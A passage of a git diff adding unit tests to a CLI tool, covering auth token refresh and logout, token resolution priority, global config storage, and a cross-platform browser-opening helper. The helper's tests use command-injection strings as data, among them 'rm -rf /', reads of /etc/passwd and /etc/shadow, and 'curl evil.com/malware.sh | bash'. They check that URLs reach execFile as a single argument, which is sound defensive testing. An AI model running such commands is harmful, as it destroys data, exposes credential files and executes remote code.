{ + refreshToken: 'refresh_token_456', + user: { + id: 'user_123', + name: 'Test User', + }, + }; + + let newTokens = { + accessToken: 'new_access_token', + refreshToken: 'new_refresh_token', + expiresAt: '2025-12-31T23:59:59Z', + }; + + globalConfig.getAuthTokens.mockResolvedValueOnce(existingAuth); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => newTokens, + }); + + let result = await authService.refresh(); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/auth/cli/refresh', + expect.objectContaining({ + method: 'POST', + body: JSON.stringify({ refreshToken: 'refresh_token_456' }), + }) + ); + + expect(globalConfig.saveAuthTokens).toHaveBeenCalledWith({ + accessToken: 'new_access_token', + refreshToken: 'new_refresh_token', + expiresAt: '2025-12-31T23:59:59Z', + user: existingAuth.user, + }); + + expect(result).toEqual(newTokens); + }); + + it('should throw AuthError when no refresh token exists', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce(null); + + await expect(authService.refresh()).rejects.toThrow( + 'No refresh token found' + ); + }); + }); + + describe('logout', () => { + it('should revoke tokens on server and clear local tokens', async () => { + let auth = { + refreshToken: 'refresh_token_456', + }; + + globalConfig.getAuthTokens.mockResolvedValueOnce(auth); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ success: true }), + }); + + await authService.logout(); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/auth/cli/logout', + expect.objectContaining({ + method: 'POST', + body: JSON.stringify({ refreshToken: 'refresh_token_456' }), + }) + ); + + expect(globalConfig.clearAuthTokens).toHaveBeenCalled(); + }); + + it('should clear local tokens even if server request fails', async () => { + let auth = { + refreshToken: 'refresh_token_456', + }; + + globalConfig.getAuthTokens.mockResolvedValueOnce(auth); + + mockFetch.mockRejectedValueOnce(new Error('Network error')); + + await authService.logout(); + + expect(globalConfig.clearAuthTokens).toHaveBeenCalled(); + }); + + it('should clear tokens when no auth exists', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce(null); + + await authService.logout(); + + expect(globalConfig.clearAuthTokens).toHaveBeenCalled(); + expect(mockFetch).not.toHaveBeenCalled(); + }); + }); + + describe('whoami', () => { + it('should get current user information', async () => { + let userData = { + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + organizations: [], + }; + + globalConfig.getAuthTokens.mockResolvedValueOnce({ + accessToken: 'access_token_123', + }); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => userData, + }); + + let result = await authService.whoami(); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/auth/cli/whoami', + expect.objectContaining({ + headers: expect.objectContaining({ + Authorization: 'Bearer access_token_123', + }), + }) + ); + + expect(result).toEqual(userData); + }); + }); + + describe('isAuthenticated', () => { + it('should return true when whoami succeeds', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce({ + accessToken: 'access_token_123', + }); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ user: {} }), + }); + + let result = await authService.isAuthenticated(); + + expect(result).toBe(true); + }); + + it('should return false when whoami fails', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce(null); + + let result = await authService.isAuthenticated(); + + expect(result).toBe(false); + }); + }); +}); diff --git a/tests/unit/config-loader-token-resolution.spec.js b/tests/unit/config-loader-token-resolution.spec.js new file mode 100644 index 00000000..fca2e548 --- /dev/null +++ b/tests/unit/config-loader-token-resolution.spec.js @@ -0,0 +1,218 @@ +/** + * Tests for config-loader token resolution priority + * Priority order: CLI flag > Env var > Project mapping > User access token + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { loadConfig } from '../../src/utils/config-loader.js'; +import * as globalConfig from '../../src/utils/global-config.js'; + +// Mock global-config module +vi.mock('../../src/utils/global-config.js', async () => { + let mockProjectMapping = null; + let mockAccessToken = null; + + return { + getProjectMapping: vi.fn(async () => mockProjectMapping), + getAccessToken: vi.fn(async () => mockAccessToken), + __setMockProjectMapping: mapping => { + mockProjectMapping = mapping; + }, + __setMockAccessToken: token => { + mockAccessToken = token; + }, + __clearMocks: () => { + mockProjectMapping = null; + mockAccessToken = null; + }, + }; +}); + +describe('Config Loader - Token Resolution Priority', () => { + let originalEnv; + + beforeEach(async () => { + originalEnv = { ...process.env }; + delete process.env.VIZZLY_TOKEN; + delete process.env.VIZZLY_API_KEY; + + // Clear mocks + globalConfig.__clearMocks(); + vi.clearAllMocks(); + }); + + afterEach(() => { + process.env = originalEnv; + }); + + describe('Priority 1: CLI flag (highest)', () => { + it('should use CLI flag token when provided', async () => { + let cliToken = 'cli_token_123'; + + let config = await loadConfig(null, { token: cliToken }); + + expect(config.apiKey).toBe(cliToken); + }); + + it('should prefer CLI flag over environment variable', async () => { + let cliToken = 'cli_token_123'; + process.env.VIZZLY_TOKEN = 'env_token_456'; + + let config = await loadConfig(null, { token: cliToken }); + + expect(config.apiKey).toBe(cliToken); + }); + + it('should prefer CLI flag over project mapping', async () => { + let cliToken = 'cli_token_123'; + globalConfig.__setMockProjectMapping({ + token: 'vzt_project_token_789', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + let config = await loadConfig(null, { token: cliToken }); + + expect(config.apiKey).toBe(cliToken); + }); + + it('should prefer CLI flag over user access token', async () => { + let cliToken = 'cli_token_123'; + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, { token: cliToken }); + + expect(config.apiKey).toBe(cliToken); + }); + }); + + describe('Priority 2: Environment variable', () => { + it('should use VIZZLY_TOKEN when no CLI flag', async () => { + process.env.VIZZLY_TOKEN = 'env_token_456'; + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('env_token_456'); + }); + + it('should prefer env var over project mapping', async () => { + process.env.VIZZLY_TOKEN = 'env_token_456'; + globalConfig.__setMockProjectMapping({ + token: 'vzt_project_token_789', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('env_token_456'); + }); + + it('should prefer env var over user access token', async () => { + process.env.VIZZLY_TOKEN = 'env_token_456'; + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('env_token_456'); + }); + }); + + describe('Priority 3: Project mapping', () => { + it('should use project mapping token when no CLI flag or env var', async () => { + globalConfig.__setMockProjectMapping({ + token: 'vzt_project_token_789', + projectSlug: 'test-project', + organizationSlug: 'test-org', + projectName: 'Test Project', + }); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('vzt_project_token_789'); + expect(config.projectSlug).toBe('test-project'); + expect(config.organizationSlug).toBe('test-org'); + }); + + it('should prefer project mapping over user access token', async () => { + globalConfig.__setMockProjectMapping({ + token: 'vzt_project_token_789', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('vzt_project_token_789'); + }); + + it('should handle project mapping with string token', async () => { + globalConfig.__setMockProjectMapping({ + token: 'vzt_project_token_string', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('vzt_project_token_string'); + }); + }); + + describe('Priority 4: User access token (lowest)', () => { + it('should use user access token when no other sources', async () => { + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('user_access_token_abc'); + }); + + it('should return undefined apiKey when no token sources available', async () => { + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBeUndefined(); + }); + }); + + describe('Edge cases', () => { + it('should handle empty CLI overrides object', async () => { + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('user_access_token_abc'); + }); + + it('should handle null project mapping', async () => { + globalConfig.__setMockProjectMapping(null); + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('user_access_token_abc'); + }); + + it('should handle project mapping without token field', async () => { + globalConfig.__setMockProjectMapping({ + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + globalConfig.__setMockAccessToken('user_access_token_abc'); + + let config = await loadConfig(null, {}); + + expect(config.apiKey).toBe('user_access_token_abc'); + }); + + it('should skip project mapping lookup when CLI token provided', async () => { + let cliToken = 'cli_token_123'; + + await loadConfig(null, { token: cliToken }); + + // Project mapping should not be called when CLI token is provided + expect(globalConfig.getProjectMapping).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/tests/unit/global-config.spec.js b/tests/unit/global-config.spec.js new file mode 100644 index 00000000..2bda00af --- /dev/null +++ b/tests/unit/global-config.spec.js @@ -0,0 +1,338 @@ +/** + * Tests for global config utilities + */ + +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { existsSync, mkdirSync, writeFileSync } from 'fs'; +import { + getGlobalConfigDir, + getGlobalConfigPath, + loadGlobalConfig, + saveGlobalConfig, + clearGlobalConfig, + getAuthTokens, + saveAuthTokens, + clearAuthTokens, + hasValidTokens, + getAccessToken, + getProjectMapping, + saveProjectMapping, + deleteProjectMapping, + getProjectMappings, +} from '../../src/utils/global-config.js'; + +describe('Global Config Utilities', () => { + beforeEach(async () => { + // Clear any existing global config before each test + await clearGlobalConfig(); + }); + + afterEach(async () => { + // Clean up after each test + await clearGlobalConfig(); + }); + + describe('getGlobalConfigDir', () => { + it('should return path to ~/.vizzly directory', () => { + let configDir = getGlobalConfigDir(); + expect(configDir).toContain('.vizzly'); + expect(configDir).toBeTruthy(); + }); + }); + + describe('getGlobalConfigPath', () => { + it('should return path to ~/.vizzly/config.json', () => { + let configPath = getGlobalConfigPath(); + expect(configPath).toContain('.vizzly'); + expect(configPath).toContain('config.json'); + }); + }); + + describe('loadGlobalConfig', () => { + it('should return empty object if config does not exist', async () => { + let config = await loadGlobalConfig(); + expect(config).toEqual({}); + }); + + it('should load existing config', async () => { + let testConfig = { test: 'value', nested: { key: 'data' } }; + await saveGlobalConfig(testConfig); + + let config = await loadGlobalConfig(); + expect(config).toEqual(testConfig); + }); + + it('should handle corrupted config file gracefully', async () => { + // Write invalid JSON to config file + let configDir = getGlobalConfigDir(); + let configPath = getGlobalConfigPath(); + + if (!existsSync(configDir)) { + mkdirSync(configDir, { recursive: true }); + } + + writeFileSync(configPath, 'invalid json {'); + + // Should not throw, should return empty object + let config = await loadGlobalConfig(); + expect(config).toEqual({}); + }); + }); + + describe('saveGlobalConfig', () => { + it('should save config to file', async () => { + let testConfig = { test: 'value', number: 42 }; + await saveGlobalConfig(testConfig); + + let config = await loadGlobalConfig(); + expect(config).toEqual(testConfig); + }); + + it('should overwrite existing config', async () => { + await saveGlobalConfig({ old: 'value' }); + await saveGlobalConfig({ new: 'value' }); + + let config = await loadGlobalConfig(); + expect(config).toEqual({ new: 'value' }); + expect(config.old).toBeUndefined(); + }); + }); + + describe('clearGlobalConfig', () => { + it('should clear all config data', async () => { + await saveGlobalConfig({ test: 'value', nested: { key: 'data' } }); + + await clearGlobalConfig(); + + let config = await loadGlobalConfig(); + expect(config).toEqual({}); + }); + }); + + describe('Auth token management', () => { + let mockAuth; + + beforeEach(() => { + mockAuth = { + accessToken: 'test-access-token', + refreshToken: 'test-refresh-token', + expiresAt: new Date( + Date.now() + 30 * 24 * 60 * 60 * 1000 + ).toISOString(), // 30 days from now + user: { + id: 'user-123', + name: 'Test User', + email: 'test@example.com', + }, + }; + }); + + describe('getAuthTokens', () => { + it('should return null if no auth tokens exist', async () => { + let auth = await getAuthTokens(); + expect(auth).toBeNull(); + }); + + it('should return auth tokens if they exist', async () => { + await saveAuthTokens(mockAuth); + + let auth = await getAuthTokens(); + expect(auth).toEqual(mockAuth); + }); + }); + + describe('saveAuthTokens', () => { + it('should save auth tokens to global config', async () => { + await saveAuthTokens(mockAuth); + + let config = await loadGlobalConfig(); + expect(config.auth).toEqual(mockAuth); + }); + + it('should preserve other config data', async () => { + await saveGlobalConfig({ other: 'data' }); + await saveAuthTokens(mockAuth); + + let config = await loadGlobalConfig(); + expect(config.other).toBe('data'); + expect(config.auth).toEqual(mockAuth); + }); + }); + + describe('clearAuthTokens', () => { + it('should clear auth tokens from global config', async () => { + await saveAuthTokens(mockAuth); + await clearAuthTokens(); + + let auth = await getAuthTokens(); + expect(auth).toBeNull(); + }); + + it('should preserve other config data', async () => { + await saveGlobalConfig({ other: 'data' }); + await saveAuthTokens(mockAuth); + await clearAuthTokens(); + + let config = await loadGlobalConfig(); + expect(config.other).toBe('data'); + expect(config.auth).toBeUndefined(); + }); + }); + + describe('hasValidTokens', () => { + it('should return false if no tokens exist', async () => { + let isValid = await hasValidTokens(); + expect(isValid).toBe(false); + }); + + it('should return true if valid tokens exist', async () => { + await saveAuthTokens(mockAuth); + + let isValid = await hasValidTokens(); + expect(isValid).toBe(true); + }); + + it('should return false if tokens are expired', async () => { + let expiredAuth = { + ...mockAuth, + expiresAt: new Date(Date.now() - 1000).toISOString(), // Expired 1 second ago + }; + + await saveAuthTokens(expiredAuth); + + let isValid = await hasValidTokens(); + expect(isValid).toBe(false); + }); + + it('should return false if tokens expire within 5 minutes', async () => { + let almostExpiredAuth = { + ...mockAuth, + expiresAt: new Date(Date.now() + 4 * 60 * 1000).toISOString(), // Expires in 4 minutes + }; + + await saveAuthTokens(almostExpiredAuth); + + let isValid = await hasValidTokens(); + expect(isValid).toBe(false); + }); + }); + + describe('getAccessToken', () => { + it('should return null if no tokens exist', async () => { + let token = await getAccessToken(); + expect(token).toBeNull(); + }); + + it('should return access token if it exists', async () => { + await saveAuthTokens(mockAuth); + + let token = await getAccessToken(); + expect(token).toBe('test-access-token'); + }); + }); + }); + + describe('Project mapping management', () => { + let testProjectPath; + let testProjectData; + + beforeEach(() => { + testProjectPath = '/path/to/project'; + testProjectData = { + token: 'vzt_test_project_token_123', + projectSlug: 'test-project', + organizationSlug: 'test-org', + projectName: 'Test Project', + }; + }); + + describe('getProjectMapping', () => { + it('should return null if no mapping exists', async () => { + let mapping = await getProjectMapping(testProjectPath); + expect(mapping).toBeNull(); + }); + + it('should return project data if mapping exists', async () => { + await saveProjectMapping(testProjectPath, testProjectData); + + let mapping = await getProjectMapping(testProjectPath); + expect(mapping.token).toBe(testProjectData.token); + expect(mapping.projectSlug).toBe(testProjectData.projectSlug); + expect(mapping.organizationSlug).toBe(testProjectData.organizationSlug); + expect(mapping.projectName).toBe(testProjectData.projectName); + expect(mapping.createdAt).toBeDefined(); + }); + }); + + describe('saveProjectMapping', () => { + it('should save project mapping to global config', async () => { + await saveProjectMapping(testProjectPath, testProjectData); + + let config = await loadGlobalConfig(); + expect(config.projects).toBeDefined(); + expect(config.projects[testProjectPath].token).toBe( + testProjectData.token + ); + expect(config.projects[testProjectPath].createdAt).toBeDefined(); + }); + + it('should preserve other config data', async () => { + await saveGlobalConfig({ other: 'data' }); + await saveProjectMapping(testProjectPath, testProjectData); + + let config = await loadGlobalConfig(); + expect(config.other).toBe('data'); + expect(config.projects[testProjectPath].token).toBe( + testProjectData.token + ); + }); + }); + + describe('deleteProjectMapping', () => { + it('should delete project mapping from global config', async () => { + await saveProjectMapping(testProjectPath, testProjectData); + await deleteProjectMapping(testProjectPath); + + let mapping = await getProjectMapping(testProjectPath); + expect(mapping).toBeNull(); + }); + + it('should preserve other mappings', async () => { + let otherPath = '/path/to/other'; + let otherData = { ...testProjectData, token: 'vzt_other_token' }; + + await saveProjectMapping(testProjectPath, testProjectData); + await saveProjectMapping(otherPath, otherData); + await deleteProjectMapping(testProjectPath); + + let deletedMapping = await getProjectMapping(testProjectPath); + let otherMapping = await getProjectMapping(otherPath); + + expect(deletedMapping).toBeNull(); + expect(otherMapping.token).toBe(otherData.token); + }); + }); + + describe('getProjectMappings', () => { + it('should return empty object if no mappings exist', async () => { + let mappings = await getProjectMappings(); + expect(mappings).toEqual({}); + }); + + it('should return all project mappings', async () => { + let path1 = '/path/to/project1'; + let path2 = '/path/to/project2'; + let data1 = { ...testProjectData, token: 'vzt_token1' }; + let data2 = { ...testProjectData, token: 'vzt_token2' }; + + await saveProjectMapping(path1, data1); + await saveProjectMapping(path2, data2); + + let mappings = await getProjectMappings(); + expect(Object.keys(mappings)).toHaveLength(2); + expect(mappings[path1].token).toBe(data1.token); + expect(mappings[path2].token).toBe(data2.token); + }); + }); + }); +}); diff --git a/tests/utils/browser.spec.js b/tests/utils/browser.spec.js new file mode 100644 index 00000000..a62b6499 --- /dev/null +++ b/tests/utils/browser.spec.js @@ -0,0 +1,331 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { openBrowser } from '../../src/utils/browser.js'; +import * as childProcess from 'child_process'; +import * as os from 'os'; + +vi.mock('child_process'); +vi.mock('os'); + +describe('openBrowser', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + describe('macOS', () => { + beforeEach(() => { + vi.mocked(os.platform).mockReturnValue('darwin'); + }); + + it('should open URL using "open" command on macOS', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + ['https://example.com'], + expect.any(Function) + ); + expect(result).toBe(true); + }); + + it('should prevent command injection on macOS', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let maliciousUrl = 'https://example.com"; rm -rf /; "'; + await openBrowser(maliciousUrl); + + // Verify the URL is passed as a single argument, not interpolated into a command + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + ['https://example.com"; rm -rf /; "'], + expect.any(Function) + ); + }); + + it('should return false when opening fails on macOS', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(new Error('Command failed')); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(result).toBe(false); + }); + }); + + describe('Windows', () => { + beforeEach(() => { + vi.mocked(os.platform).mockReturnValue('win32'); + }); + + it('should open URL using cmd.exe on Windows', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'cmd.exe', + ['/c', 'start', '""', 'https://example.com'], + expect.any(Function) + ); + expect(result).toBe(true); + }); + + it('should prevent command injection on Windows', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let maliciousUrl = 'https://example.com" && del /F /Q C:\\* && "'; + await openBrowser(maliciousUrl); + + // Verify the URL is passed as a single argument + expect(childProcess.execFile).toHaveBeenCalledWith( + 'cmd.exe', + ['/c', 'start', '""', 'https://example.com" && del /F /Q C:\\* && "'], + expect.any(Function) + ); + }); + + it('should return false when opening fails on Windows', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(new Error('Command failed')); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(result).toBe(false); + }); + }); + + describe('Linux', () => { + beforeEach(() => { + vi.mocked(os.platform).mockReturnValue('linux'); + }); + + it('should open URL using xdg-open on Linux', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'xdg-open', + ['https://example.com'], + expect.any(Function) + ); + expect(result).toBe(true); + }); + + it('should prevent command injection on Linux', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let maliciousUrl = 'https://example.com"; cat /etc/passwd; "'; + await openBrowser(maliciousUrl); + + // Verify the URL is passed as a single argument + expect(childProcess.execFile).toHaveBeenCalledWith( + 'xdg-open', + ['https://example.com"; cat /etc/passwd; "'], + expect.any(Function) + ); + }); + + it('should return false when opening fails on Linux', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(new Error('Command failed')); + } + ); + + let result = await openBrowser('https://example.com'); + + expect(result).toBe(false); + }); + }); + + describe('edge cases', () => { + beforeEach(() => { + vi.mocked(os.platform).mockReturnValue('darwin'); + }); + + it('should handle URLs with special characters', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let specialUrl = 'https://example.com?param=value&other=test#anchor'; + await openBrowser(specialUrl); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + ['https://example.com?param=value&other=test#anchor'], + expect.any(Function) + ); + }); + + it('should handle URLs with spaces', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let urlWithSpaces = 'https://example.com/path with spaces'; + await openBrowser(urlWithSpaces); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + ['https://example.com/path with spaces'], + expect.any(Function) + ); + }); + + it('should handle localhost URLs', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + await openBrowser('http://localhost:3000/auth?code=abc123'); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + ['http://localhost:3000/auth?code=abc123'], + expect.any(Function) + ); + }); + + it('should handle empty URL strings', async () => { + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + await openBrowser(''); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + [''], + expect.any(Function) + ); + }); + }); + + describe('security', () => { + it('should not execute shell metacharacters (macOS)', async () => { + vi.mocked(os.platform).mockReturnValue('darwin'); + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let attacks = [ + 'https://example.com"; echo "hacked', + 'https://example.com && echo hacked', + 'https://example.com | cat /etc/passwd', + 'https://example.com; ls -la', + 'https://example.com` whoami `', + 'https://example.com$(whoami)', + ]; + + for (let attack of attacks) { + await openBrowser(attack); + + // Each call should pass the attack string as a safe argument + expect(childProcess.execFile).toHaveBeenCalledWith( + 'open', + [attack], + expect.any(Function) + ); + } + + expect(childProcess.execFile).toHaveBeenCalledTimes(attacks.length); + }); + + it('should not execute shell metacharacters (Windows)', async () => { + vi.mocked(os.platform).mockReturnValue('win32'); + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let attacks = [ + 'https://example.com" && echo hacked', + 'https://example.com | type C:\\secrets.txt', + 'https://example.com & whoami', + ]; + + for (let attack of attacks) { + await openBrowser(attack); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'cmd.exe', + ['/c', 'start', '""', attack], + expect.any(Function) + ); + } + + expect(childProcess.execFile).toHaveBeenCalledTimes(attacks.length); + }); + + it('should not execute shell metacharacters (Linux)', async () => { + vi.mocked(os.platform).mockReturnValue('linux'); + vi.mocked(childProcess.execFile).mockImplementation( + (cmd, args, callback) => { + callback(null); + } + ); + + let attacks = [ + 'https://example.com"; cat /etc/shadow; "', + 'https://example.com && curl evil.com/malware.sh | bash', + 'https://example.com || rm -rf /', + ]; + + for (let attack of attacks) { + await openBrowser(attack); + + expect(childProcess.execFile).toHaveBeenCalledWith( + 'xdg-open', + [attack], + expect.any(Function) + ); + } + + expect(childProcess.execFile).toHaveBeenCalledTimes(attacks.length); + }); + }); +});